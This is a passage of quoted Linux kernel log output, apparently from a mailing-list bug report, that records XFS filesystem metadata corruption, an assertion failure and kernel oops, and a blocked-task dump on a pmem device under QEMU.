("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672816] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.672826] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.672827] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.672828] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.672829] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.672830] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.672831] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.672832] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.672833] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.672835] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.672836] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.685900] XFS (pmem0p2): Invalid inode number 0xf56842a6bf > [ 87.685905] XFS (pmem0p2): Internal error xfs_dir_ino_validate at line 216 of file fs/xfs/libxfs/xfs_dir2.c. Caller __xfs_dir3_data_check+0x365/0x6e0 > [ 87.685907] CPU: 3 PID: 135 Comm: kworker/3:1 Not tainted 4.3.0-rc3 #16 > [ 87.685908] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 > [ 87.685911] Workqueue: xfs-buf/pmem0p2 xfs_buf_ioend_work > [ 87.685912] 0000000000000000 0000000039040314 ffff88003695fcb0 ffffffff814def5f > [ 87.685914] ffff8801fbbad000 ffff88003695fcc8 ffffffff8140affc ffffffff813e73b5 > [ 87.685915] ffff88003695fce8 ffffffff813e40bb ffff8801fbbad000 ffff8800bb36b000 > [ 87.685917] Call Trace: > [ 87.685922] [] dump_stack+0x44/0x55 > [ 87.685924] [] xfs_error_report+0x3c/0x40 > [ 87.685925] [] ? __xfs_dir3_data_check+0x365/0x6e0 > [ 87.685927] [] xfs_dir_ino_validate+0xab/0x110 > [ 87.685928] [] __xfs_dir3_data_check+0x365/0x6e0 > [ 87.685930] [] ? xfs_buf_ioend_work+0x15/0x20 > [ 87.685932] [] xfs_dir3_data_verify+0x76/0x80 > [ 87.685933] [] xfs_dir3_data_read_verify+0x44/0x100 > [ 87.685934] [] ? xfs_buf_ioend_work+0x15/0x20 > [ 87.685936] [] xfs_dir3_data_reada_verify+0x76/0x80 > [ 87.685937] [] xfs_buf_ioend+0x85/0x140 > [ 87.685938] [] xfs_buf_ioend_work+0x15/0x20 > [ 87.685942] [] process_one_work+0x14b/0x3d0 > [ 87.685943] [] worker_thread+0x4e/0x450 > [ 87.685946] [] ? __schedule+0x2a4/0x8f0 > [ 87.685947] [] ? rescuer_thread+0x2f0/0x2f0 > [ 87.685948] [] ? rescuer_thread+0x2f0/0x2f0 > [ 87.685950] [] kthread+0xd8/0xf0 > [ 87.685951] [] ? kthread_park+0x60/0x60 > [ 87.685953] [] ret_from_fork+0x3f/0x70 > [ 87.685955] [] ? kthread_park+0x60/0x60 > [ 87.685956] XFS: Assertion failed: fs_is_ok, file: fs/xfs/libxfs/xfs_dir2_data.c, line: 165 > [ 87.685970] ------------[ cut here ]------------ > [ 87.685971] kernel BUG at fs/xfs/xfs_message.c:106! > [ 87.685972] invalid opcode: 0000 [#1] SMP > [ 87.685973] Modules linked in: nd_pmem nd_btt nd_e820 libnvdimm > [ 87.685976] CPU: 3 PID: 135 Comm: kworker/3:1 Not tainted 4.3.0-rc3 #16 > [ 87.685977] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 > [ 87.685978] Workqueue: xfs-buf/pmem0p2 xfs_buf_ioend_work > [ 87.685979] task: ffff880036948d40 ti: ffff88003695c000 task.ti: ffff88003695c000 > [ 87.685980] RIP: 0010:[] [] assfail+0x20/0x30 > [ 87.685982] RSP: 0018:ffff88003695fce8 EFLAGS: 00010246 > [ 87.685983] RAX: 0000000000000000 RBX: ffff8801fbbad000 RCX: 000000000000004f > [ 87.685984] RDX: 0000000000000000 RSI: 0000000000000246 RDI: ffff88043fcce110 > [ 87.685985] RBP: ffff88003695fce8 R08: 000000000000000a R09: 000000000000fffe > [ 87.685985] R10: 00000000000400be R11: 0000000000000002 R12: ffff8800bb36b000 > [ 87.685986] R13: 0000000000000000 R14: ffff8800bb36b004 R15: ffff8800bb36bb50 > [ 87.685987] FS: 0000000000000000(0000) GS:ffff88043fcc0000(0000) knlGS:0000000000000000 > [ 87.685988] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > [ 87.685989] CR2: 0000000001090108 CR3: 00000000babeb000 CR4: 00000000000406e0 > [ 87.685992] Stack: > [ 87.685992] ffff88003695fd68 ffffffff813e73d5 0000000000000b20 ffffffff81a4dd00 > [ 87.685994] 000000070000003c 0000000000000000 ffff8800bb36c000 ffff8800bac52c80 > [ 87.685995] ffff88043fcd74f8 ffff88003695fd88 0000000039040314 ffff8800af5a0a80 > [ 87.685997] Call Trace: > [ 87.685999] [] __xfs_dir3_data_check+0x385/0x6e0 > [ 87.686002] [] ? xfs_buf_ioend_work+0x15/0x20 > [ 87.686004] [] xfs_dir3_data_verify+0x76/0x80 > [ 87.686006] [] xfs_dir3_data_read_verify+0x44/0x100 > [ 87.686006] [] ? xfs_buf_ioend_work+0x15/0x20 > [ 87.686006] [] xfs_dir3_data_reada_verify+0x76/0x80 > [ 87.686006] [] xfs_buf_ioend+0x85/0x140 > [ 87.686006] [] xfs_buf_ioend_work+0x15/0x20 > [ 87.686006] [] process_one_work+0x14b/0x3d0 > [ 87.686006] [] worker_thread+0x4e/0x450 > [ 87.686006] [] ? __schedule+0x2a4/0x8f0 > [ 87.686006] [] ? rescuer_thread+0x2f0/0x2f0 > [ 87.686006] [] ? rescuer_thread+0x2f0/0x2f0 > [ 87.686006] [] kthread+0xd8/0xf0 > [ 87.686006] [] ? kthread_park+0x60/0x60 > [ 87.686006] [] ret_from_fork+0x3f/0x70 > [ 87.686006] [] ? kthread_park+0x60/0x60 > [ 87.686006] Code: 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 55 48 89 f1 41 89 d0 48 c7 c6 f0 7b d0 81 48 89 fa 31 ff 48 89 e5 e8 30 fa ff ff <0f> 0b 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 > [ 87.686006] RIP [] assfail+0x20/0x30 > [ 87.686006] RSP > [ 87.686054] ---[ end trace 974f0659d1414622 ]--- > [ 87.686071] BUG: unable to handle kernel paging request at ffffffffffffffd8 > [ 87.686073] IP: [] kthread_data+0x10/0x20 > [ 87.686075] PGD 200f067 PUD 2011067 PMD 0 > [ 87.686077] Oops: 0000 [#2] SMP > [ 87.686077] Modules linked in: nd_pmem nd_btt nd_e820 libnvdimm > [ 87.686080] CPU: 3 PID: 135 Comm: kworker/3:1 Tainted: G D 4.3.0-rc3 #16 > [ 87.686081] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 > [ 87.686087] task: ffff880036948d40 ti: ffff88003695c000 task.ti: ffff88003695c000 > [ 87.686088] RIP: 0010:[] [] kthread_data+0x10/0x20 > [ 87.686090] RSP: 0018:ffff88003695f9c0 EFLAGS: 00010002 > [ 87.686091] RAX: 0000000000000000 RBX: 0000000000000003 RCX: 0000000000000003 > [ 87.686092] RDX: ffff88041a004000 RSI: 0000000000000003 RDI: ffff880036948d40 > [ 87.686092] RBP: ffff88003695f9c0 R08: ffff880036948dc8 R09: 0000000000000246 > [ 87.686093] R10: ffff88043fcdafd0 R11: 0000000000000000 R12: 0000000000017480 > [ 87.686094] R13: ffff880036948d40 R14: 0000000000000003 R15: 0000000000000000 > [ 87.686095] FS: 0000000000000000(0000) GS:ffff88043fcc0000(0000) knlGS:0000000000000000 > [ 87.686096] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > [ 87.686097] CR2: 0000000000000028 CR3: 00000000babeb000 CR4: 00000000000406e0 > [ 87.686099] Stack: > [ 87.686099] ffff88003695f9d8 ffffffff810b7d41 ffff88043fcd7480 ffff88003695fa20 > [ 87.686101] ffffffff8195d364 ffffffff810a07b5 ffff880036948d40 ffff880036960000 > [ 87.686102] ffff88003695fa70 ffff88003695fa70 ffff88003695f6d0 ffff88003695f6d0 > [ 87.686104] Call Trace: > [ 87.686105] [] wq_worker_sleeping+0x11/0x90 > [ 87.686107] [] __schedule+0x6d4/0x8f0 > [ 87.686108] [] ? release_task+0x385/0x470 > [ 87.686110] [] schedule+0x33/0x80 > [ 87.686111] [] do_exit+0x721/0xa10 > [ 87.686114] [] oops_end+0x9a/0xd0 > [ 87.686115] [] die+0x4b/0x70 > [ 87.686118] [] do_trap+0x139/0x140 > [ 87.686119] [] do_error_trap+0x89/0x110 > [ 87.686120] [] ? assfail+0x20/0x30 > [ 87.686122] [] do_invalid_op+0x20/0x30 > [ 87.686123] [] invalid_op+0x1e/0x30 > [ 87.686124] [] ? assfail+0x20/0x30 > [ 87.686126] [] ? assfail+0x20/0x30 > [ 87.686127] [] __xfs_dir3_data_check+0x385/0x6e0 > [ 87.686129] [] ? xfs_buf_ioend_work+0x15/0x20 > [ 87.686131] [] xfs_dir3_data_verify+0x76/0x80 > [ 87.686133] [] xfs_dir3_data_read_verify+0x44/0x100 > [ 87.686134] [] ? xfs_buf_ioend_work+0x15/0x20 > [ 87.686135] [] xfs_dir3_data_reada_verify+0x76/0x80 > [ 87.686137] [] xfs_buf_ioend+0x85/0x140 > [ 87.686139] [] xfs_buf_ioend_work+0x15/0x20 > [ 87.686140] [] process_one_work+0x14b/0x3d0 > [ 87.686142] [] worker_thread+0x4e/0x450 > [ 87.686143] [] ? __schedule+0x2a4/0x8f0 > [ 87.686144] [] ? rescuer_thread+0x2f0/0x2f0 > [ 87.686145] [] ? rescuer_thread+0x2f0/0x2f0 > [ 87.686146] [] kthread+0xd8/0xf0 > [ 87.686148] [] ? kthread_park+0x60/0x60 > [ 87.686150] [] ret_from_fork+0x3f/0x70 > [ 87.686151] [] ? kthread_park+0x60/0x60 > [ 87.686152] Code: 63 20 ba 01 00 00 00 75 c2 48 8b 53 08 eb af e8 57 1b fe ff 0f 1f 80 00 00 00 00 66 66 66 66 90 48 8b 87 18 04 00 00 55 48 89 e5 <48> 8b 40 d8 5d c3 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 > [ 87.686168] RIP [] kthread_data+0x10/0x20 > [ 87.686170] RSP > [ 87.686171] CR2: ffffffffffffffd8 > [ 87.686172] ---[ end trace 974f0659d1414623 ]--- > [ 87.686173] Fixing recursive fault but reboot is needed! > [ 1207.458454] XFS (pmem0p2): corrupt dinode 8429878, extent total = 5404928, nblocks = 0. > [ 1207.458456] ffff8800ba925600: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 1207.458458] ffff8800ba925610: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 1207.458459] ffff8800ba925620: 56 0e a7 da 08 20 22 34 56 0e a7 da 08 20 22 34 V.... "4V.... "4 > [ 1207.458460] ffff8800ba925630: 56 0e a7 da 08 20 22 34 00 00 00 00 00 00 00 06 V.... "4........ > [ 1207.458464] XFS (pmem0p2): Internal error xfs_iformat(1) at line 100 of file fs/xfs/libxfs/xfs_inode_fork.c. Caller xfs_iread+0x321/0x3e0 > [ 1207.458466] CPU: 0 PID: 4237 Comm: find Not tainted 4.3.0-rc3 #16 > [ 1207.458467] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 > [ 1207.458468] 0000000000000000 00000000acb7eeb8 ffff8801fb1cfa58 ffffffff814def5f > [ 1207.458470] ffff8800ae32b800 ffff8801fb1cfa98 ffffffff8140b08c ffffffff813fade1 > [ 1207.458471] ffffffff81d05538 ffff8800ba925600 ffff8800af0de600 ffff8800ae32b800 > [ 1207.458473] Call Trace: > [ 1207.458478] [] dump_stack+0x44/0x55 > [ 1207.458480] [] xfs_corruption_error+0x8c/0x90 > [ 1207.458481] [] ? xfs_iread+0x321/0x3e0 > [ 1207.458483] [] xfs_iformat_fork+0x360/0x520 > [ 1207.458484] [] ? xfs_iread+0x321/0x3e0 > [ 1207.458485] [] xfs_iread+0x321/0x3e0 > [ 1207.458487] [] xfs_iget+0x28b/0x720 > [ 1207.458490] [] ? xfs_dir_lookup+0x13c/0x1d0 > [ 1207.458491] [] xfs_lookup+0xea/0x120 > [ 1207.458493] [] xfs_vn_lookup+0x73/0xb0 > [ 1207.458495] [] lookup_real+0x1d/0x60 > [ 1207.458496] [] __lookup_hash+0x42/0x60 > [ 1207.458498] [] walk_component+0x1eb/0x490 > [ 1207.458499] [] ? xfs_iunlock+0x165/0x1c0 > [ 1207.458501] [] ? __fdget_raw+0x10/0x20 > [ 1207.458502] [] ? path_init+0xc0/0x3c0 > [ 1207.458503] [] path_lookupat+0x5d/0x110 > [ 1207.458505] [] filename_lookup+0xb1/0x180 > [ 1207.458506] [] ? xfs_iunlock+0x1b4/0x1c0 > [ 1207.458507] [] ? kmem_cache_alloc+0x183/0x1f0 > [ 1207.458509] [] ? getname_flags+0x56/0x1f0 > [ 1207.458510] [] user_path_at_empty+0x36/0x40 > [ 1207.458512] [] vfs_fstatat+0x66/0xc0 > [ 1207.458513] [] ? __fd_install+0x33/0xe0 > [ 1207.458515] [] SYSC_newfstatat+0x24/0x60 > [ 1207.458516] [] ? f_dupfd+0x6e/0x80 > [ 1207.458518] [] ? SyS_fcntl+0x13b/0x550 > [ 1207.458519] [] SyS_newfstatat+0xe/0x10 > [ 1207.458522] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1207.458523] XFS (pmem0p2): Corruption detected. Unmount and run xfs_repair > [ 1207.458524] XFS (pmem0p2): xfs_iread: xfs_iformat() returned error -117 > [ 1207.458532] XFS (pmem0p2): corrupt dinode 8429878, extent total = 5404928, nblocks = 0. > [ 1207.458533] ffff8800ba925600: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 1207.458534] ffff8800ba925610: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 1207.458535] ffff8800ba925620: 56 0e a7 da 08 20 22 34 56 0e a7 da 08 20 22 34 V.... "4V.... "4 > [ 1207.458536] ffff8800ba925630: 56 0e a7 da 08 20 22 34 00 00 00 00 00 00 00 06 V.... "4........ > [ 1207.458538] XFS (pmem0p2): Internal error xfs_iformat(1) at line 100 of file fs/xfs/libxfs/xfs_inode_fork.c. Caller xfs_iread+0x321/0x3e0 > [ 1207.458539] CPU: 0 PID: 4237 Comm: find Not tainted 4.3.0-rc3 #16 > [ 1207.458540] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 > [ 1207.458540] 0000000000000000 00000000acb7eeb8 ffff8801fb1cfa58 ffffffff814def5f > [ 1207.458542] ffff8800ae32b800 ffff8801fb1cfa98 ffffffff8140b08c ffffffff813fade1 > [ 1207.458543] ffffffff81d05538 ffff8800ba925600 ffff8800af0dea40 ffff8800ae32b800 > [ 1207.458544] Call Trace: > [ 1207.458546] [] dump_stack+0x44/0x55 > [ 1207.458547] [] xfs_corruption_error+0x8c/0x90 > [ 1207.458549] [] ? xfs_iread+0x321/0x3e0 > [ 1207.458550] [] xfs_iformat_fork+0x360/0x520 > [ 1207.458551] [] ? xfs_iread+0x321/0x3e0 > [ 1207.458552] [] xfs_iread+0x321/0x3e0 > [ 1207.458554] [] xfs_iget+0x28b/0x720 > [ 1207.458555] [] ? xfs_dir_lookup+0x13c/0x1d0 > [ 1207.458557] [] xfs_lookup+0xea/0x120 > [ 1207.458558] [] xfs_vn_lookup+0x73/0xb0 > [ 1207.458571] [] lookup_real+0x1d/0x60 > [ 1207.458572] [] __lookup_hash+0x42/0x60 > [ 1207.458573] [] walk_component+0x1eb/0x490 > [ 1207.458574] [] ? __fdget_raw+0x10/0x20 > [ 1207.458575] [] ? path_init+0xc0/0x3c0 > [ 1207.458576] [] path_lookupat+0x5d/0x110 > [ 1207.458578] [] filename_lookup+0xb1/0x180 > [ 1207.458579] [] ? xfs_iunlock+0x1b4/0x1c0 > [ 1207.458580] [] ? kmem_cache_alloc+0x183/0x1f0 > [ 1207.458581] [] ? getname_flags+0x56/0x1f0 > [ 1207.458582] [] user_path_at_empty+0x36/0x40 > [ 1207.458583] [] vfs_fstatat+0x66/0xc0 > [ 1207.458585] [] ? __fd_install+0x33/0xe0 > [ 1207.458586] [] SYSC_newfstatat+0x24/0x60 > [ 1207.458587] [] ? f_dupfd+0x6e/0x80 > [ 1207.458588] [] ? SyS_fcntl+0x13b/0x550 > [ 1207.458590] [] SyS_newfstatat+0xe/0x10 > [ 1207.458591] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1207.458592] XFS (pmem0p2): Corruption detected. Unmount and run xfs_repair > [ 1207.458593] XFS (pmem0p2): xfs_iread: xfs_iformat() returned error -117 > [ 1207.458626] XFS (pmem0p2): corrupt dinode 8429878, extent total = 5404928, nblocks = 0. > [ 1207.458627] ffff8800ba925600: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 1207.458629] ffff8800ba925610: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 1207.458630] ffff8800ba925620: 56 0e a7 da 08 20 22 34 56 0e a7 da 08 20 22 34 V.... "4V.... "4 > [ 1207.458631] ffff8800ba925630: 56 0e a7 da 08 20 22 34 00 00 00 00 00 00 00 06 V.... "4........ > [ 1207.458634] XFS (pmem0p2): Internal error xfs_iformat(1) at line 100 of file fs/xfs/libxfs/xfs_inode_fork.c. Caller xfs_iread+0x321/0x3e0 > [ 1207.458636] CPU: 0 PID: 4237 Comm: find Not tainted 4.3.0-rc3 #16 > [ 1207.458637] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 > [ 1207.458638] 0000000000000000 00000000acb7eeb8 ffff8801fb1cfa58 ffffffff814def5f > [ 1207.458640] ffff8800ae32b800 ffff8801fb1cfa98 ffffffff8140b08c ffffffff813fade1 > [ 1207.458642] ffffffff81d05538 ffff8800ba925600 ffff8800af0dee80 ffff8800ae32b800 > [ 1207.458644] Call Trace: > [ 1207.458647] [] dump_stack+0x44/0x55 > [ 1207.458649] [] xfs_corruption_error+0x8c/0x90 > [ 1207.458650] [] ? xfs_iread+0x321/0x3e0 > [ 1207.458652] [] xfs_iformat_fork+0x360/0x520 > [ 1207.458654] [] ? xfs_iread+0x321/0x3e0 > [ 1207.458656] [] xfs_iread+0x321/0x3e0 > [ 1207.458657] [] xfs_iget+0x28b/0x720 > [ 1207.458659] [] ? xfs_dir_lookup+0x13c/0x1d0 > [ 1207.458660] [] xfs_lookup+0xea/0x120 > [ 1207.458662] [] xfs_vn_lookup+0x73/0xb0 > [ 1207.458663] [] lookup_real+0x1d/0x60 > [ 1207.458664] [] __lookup_hash+0x42/0x60 > [ 1207.458665] [] walk_component+0x1eb/0x490 > [ 1207.458666] [] ? __fdget_raw+0x10/0x20 > [ 1207.458667] [] ? path_init+0xc0/0x3c0 > [ 1207.458668] [] path_lookupat+0x5d/0x110 > [ 1207.458669] [] filename_lookup+0xb1/0x180 > [ 1207.458671] [] ? file_update_time+0xc9/0x110 > [ 1207.458672] [] ? kmem_cache_alloc+0x183/0x1f0 > [ 1207.458673] [] ? getname_flags+0x56/0x1f0 > [ 1207.458674] [] user_path_at_empty+0x36/0x40 > [ 1207.458676] [] vfs_fstatat+0x66/0xc0 > [ 1207.458677] [] SYSC_newfstatat+0x24/0x60 > [ 1207.458678] [] ? vfs_write+0x149/0x190 > [ 1207.458679] [] ? SyS_write+0x55/0xc0 > [ 1207.458681] [] SyS_newfstatat+0xe/0x10 > [ 1207.458682] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1207.458683] XFS (pmem0p2): Corruption detected. Unmount and run xfs_repair > [ 1207.458684] XFS (pmem0p2): xfs_iread: xfs_iformat() returned error -117 > [ 1501.261288] sysrq: SysRq : Show Blocked State > [ 1501.261292] task PC stack pid father > [ 1501.261294] kworker/u12:0 D ffff88043fcd7480 0 6 2 0x00000000 > [ 1501.261300] Workqueue: writeback wb_workfn (flush-259:0) > [ 1501.261302] ffff88041121b148 0000000000000046 ffff88041122c240 ffff880411164240 > [ 1501.261303] ffff88041121c000 ffff88040fb5cf30 ffff880411164240 0000000000000008 > [ 1501.261305] ffff8801fcd70010 ffff88041121b160 ffffffff8195ce23 7fffffffffffffff > [ 1501.261306] Call Trace: > [ 1501.261311] [] schedule+0x33/0x80 > [ 1501.261313] [] schedule_timeout+0x1fa/0x290 > [ 1501.261316] [] ? down_trylock+0x2e/0x40 > [ 1501.261318] [] ? xfs_buf_trylock+0x1c/0x90 > [ 1501.261320] [] __down+0x72/0xc0 > [ 1501.261321] [] ? _xfs_buf_find+0x1d7/0x370 > [ 1501.261322] [] down+0x41/0x50 > [ 1501.261324] [] xfs_buf_lock+0x3c/0xe0 > [ 1501.261325] [] _xfs_buf_find+0x1d7/0x370 > [ 1501.261326] [] xfs_buf_get_map+0x2a/0x180 > [ 1501.261328] [] xfs_buf_read_map+0x2c/0x100 > [ 1501.261330] [] xfs_trans_read_buf_map+0x1a5/0x360 > [ 1501.261333] [] xfs_read_agf+0xb1/0x140 > [ 1501.261334] [] xfs_alloc_read_agf+0x64/0x260 > [ 1501.261335] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 > [ 1501.261338] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261340] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261341] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261342] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261344] [] xfs_alloc_vextent+0x22d/0x7f0 > [ 1501.261345] [] xfs_bmap_btalloc+0x3c1/0x800 > [ 1501.261347] [] ? xfs_iext_get_ext+0x95/0xf0 > [ 1501.261349] [] xfs_bmap_alloc+0x24/0x30 > [ 1501.261350] [] xfs_bmapi_write+0x6b3/0xf50 > [ 1501.261353] [] xfs_iomap_write_allocate+0x141/0x330 > [ 1501.261355] [] xfs_map_blocks+0x255/0x2f0 > [ 1501.261357] [] xfs_vm_writepage+0x1aa/0x640 > [ 1501.261359] [] __writepage+0x13/0x30 > [ 1501.261361] [] write_cache_pages+0x224/0x4a0 > [ 1501.261363] [] ? mod_timer+0x10f/0x210 > [ 1501.261364] [] ? wb_position_ratio+0x1f0/0x1f0 > [ 1501.261366] [] generic_writepages+0x51/0x80 > [ 1501.261367] [] xfs_vm_writepages+0x3d/0x50 > [ 1501.261369] [] do_writepages+0x1e/0x30 > [ 1501.261371] [] __writeback_single_inode+0x45/0x290 > [ 1501.261372] [] writeback_sb_inodes+0x264/0x4d0 > [ 1501.261374] [] wb_writeback+0x106/0x2a0 > [ 1501.261376] [] wb_workfn+0x108/0x390 > [ 1501.261379] [] process_one_work+0x14b/0x3d0 > [ 1501.261380] [] worker_thread+0x4e/0x450 > [ 1501.261382] [] ? rescuer_thread+0x2f0/0x2f0 > [ 1501.261383] [] kthread+0xd8/0xf0 > [ 1501.261385] [] ? kthread_park+0x60/0x60 > [ 1501.261386] [] ret_from_fork+0x3f/0x70 > [ 1501.261388] [] ? kthread_park+0x60/0x60 > [ 1501.261412] fio D ffff88043fd57480 0 3806 3734 0x00000000 > [ 1501.261414] ffff88040f7231e8 0000000000000082 ffff88041122dcc0 ffff8801fcdc0000 > [ 1501.261415] ffff88040f724000 ffff88040fb5cf30 ffff8801fcdc0000 0000000000000008 > [ 1501.261417] ffff8801fcd70010 ffff88040f723200 ffffffff8195ce23 7fffffffffffffff > [ 1501.261418] Call Trace: > [ 1501.261420] [] schedule+0x33/0x80 > [ 1501.261421] [] schedule_timeout+0x1fa/0x290 > [ 1501.261423] [] ? xfs_buf_free+0xf3/0x140 > [ 1501.261424] [] ? xfs_buf_get_map+0x170/0x180 > [ 1501.261425] [] __down+0x72/0xc0 > [ 1501.261427] [] ? _xfs_buf_find+0x1d7/0x370 > [ 1501.261428] [] down+0x41/0x50 > [ 1501.261429] [] xfs_buf_lock+0x3c/0xe0 > [ 1501.261430] [] _xfs_buf_find+0x1d7/0x370 > [ 1501.261432] [] xfs_buf_get_map+0x2a/0x180 > [ 1501.261433] [] xfs_buf_read_map+0x2c/0x100 > [ 1501.261435] [] xfs_trans_read_buf_map+0x1a5/0x360 > [ 1501.261436] [] xfs_read_agf+0xb1/0x140 > [ 1501.261437] [] xfs_alloc_read_agf+0x64/0x260 > [ 1501.261438] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 > [ 1501.261440] [] ? xfs_bmap_add_extent_unwritten_real+0x3ee/0x1ae0 > [ 1501.261441] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261443] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261444] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261445] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261447] [] xfs_alloc_vextent+0x22d/0x7f0 > [ 1501.261448] [] xfs_bmap_btalloc+0x3c1/0x800 > [ 1501.261449] [] ? xfs_iext_get_ext+0x95/0xf0 > [ 1501.261451] [] xfs_bmap_alloc+0x24/0x30 > [ 1501.261453] [] xfs_bmapi_write+0x6b3/0xf50 > [ 1501.261455] [] xfs_iomap_write_direct+0x248/0x380 > [ 1501.261457] [] __xfs_get_blocks+0x458/0x7b0 > [ 1501.261459] [] xfs_get_blocks_direct+0x14/0x20 > [ 1501.261461] [] do_blockdev_direct_IO+0xf8c/0x2bd0 > [ 1501.261463] [] ? xfs_get_blocks+0x20/0x20 > [ 1501.261465] [] __blockdev_direct_IO+0x43/0x50 > [ 1501.261467] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261469] [] xfs_vm_direct_IO+0xc1/0x120 > [ 1501.261470] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261472] [] xfs_file_dio_aio_write+0x1e8/0x3b0 > [ 1501.261473] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261475] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261476] [] xfs_file_write_iter+0x81/0x120 > [ 1501.261479] [] aio_run_iocb+0x26a/0x2d0 > [ 1501.261480] [] ? aio_read_events+0x28d/0x380 > [ 1501.261482] [] ? do_io_submit+0x198/0x4f0 > [ 1501.261484] [] do_io_submit+0x257/0x4f0 > [ 1501.261486] [] SyS_io_submit+0x10/0x20 > [ 1501.261487] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1501.261488] fio D ffff88043fc97480 0 3807 3734 0x00000000 > [ 1501.261489] ffff88040fa1f1e8 0000000000000086 ffff88041122b500 ffff8801fcdc1a80 > [ 1501.261491] ffff88040fa20000 ffff88040fb5cf30 ffff8801fcdc1a80 0000000000000008 > [ 1501.261492] ffff8801fcd70010 ffff88040fa1f200 ffffffff8195ce23 7fffffffffffffff > [ 1501.261493] Call Trace: > [ 1501.261495] [] schedule+0x33/0x80 > [ 1501.261496] [] schedule_timeout+0x1fa/0x290 > [ 1501.261498] [] ? xfs_buf_free+0xf3/0x140 > [ 1501.261499] [] __down+0x72/0xc0 > [ 1501.261501] [] ? _xfs_buf_find+0x1d7/0x370 > [ 1501.261502] [] down+0x41/0x50 > [ 1501.261503] [] xfs_buf_lock+0x3c/0xe0 > [ 1501.261504] [] _xfs_buf_find+0x1d7/0x370 > [ 1501.261506] [] xfs_buf_get_map+0x2a/0x180 > [ 1501.261507] [] xfs_buf_read_map+0x2c/0x100 > [ 1501.261508] [] xfs_trans_read_buf_map+0x1a5/0x360 > [ 1501.261510] [] xfs_read_agf+0xb1/0x140 > [ 1501.261511] [] xfs_alloc_read_agf+0x64/0x260 > [ 1501.261512] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 > [ 1501.261525] [] ? xfs_bmap_add_extent_unwritten_real+0x3ee/0x1ae0 > [ 1501.261526] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261527] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261529] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261530] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261531] [] xfs_alloc_vextent+0x22d/0x7f0 > [ 1501.261532] [] xfs_bmap_btalloc+0x3c1/0x800 > [ 1501.261534] [] ? xfs_iext_get_ext+0x95/0xf0 > [ 1501.261535] [] xfs_bmap_alloc+0x24/0x30 > [ 1501.261537] [] xfs_bmapi_write+0x6b3/0xf50 > [ 1501.261539] [] xfs_iomap_write_direct+0x248/0x380 > [ 1501.261541] [] __xfs_get_blocks+0x458/0x7b0 > [ 1501.261542] [] xfs_get_blocks_direct+0x14/0x20 > [ 1501.261544] [] do_blockdev_direct_IO+0xf8c/0x2bd0 > [ 1501.261546] [] ? xfs_get_blocks+0x20/0x20 > [ 1501.261548] [] __blockdev_direct_IO+0x43/0x50 > [ 1501.261549] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261551] [] xfs_vm_direct_IO+0xc1/0x120 > [ 1501.261552] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261553] [] xfs_file_dio_aio_write+0x1e8/0x3b0 > [ 1501.261555] [] ? 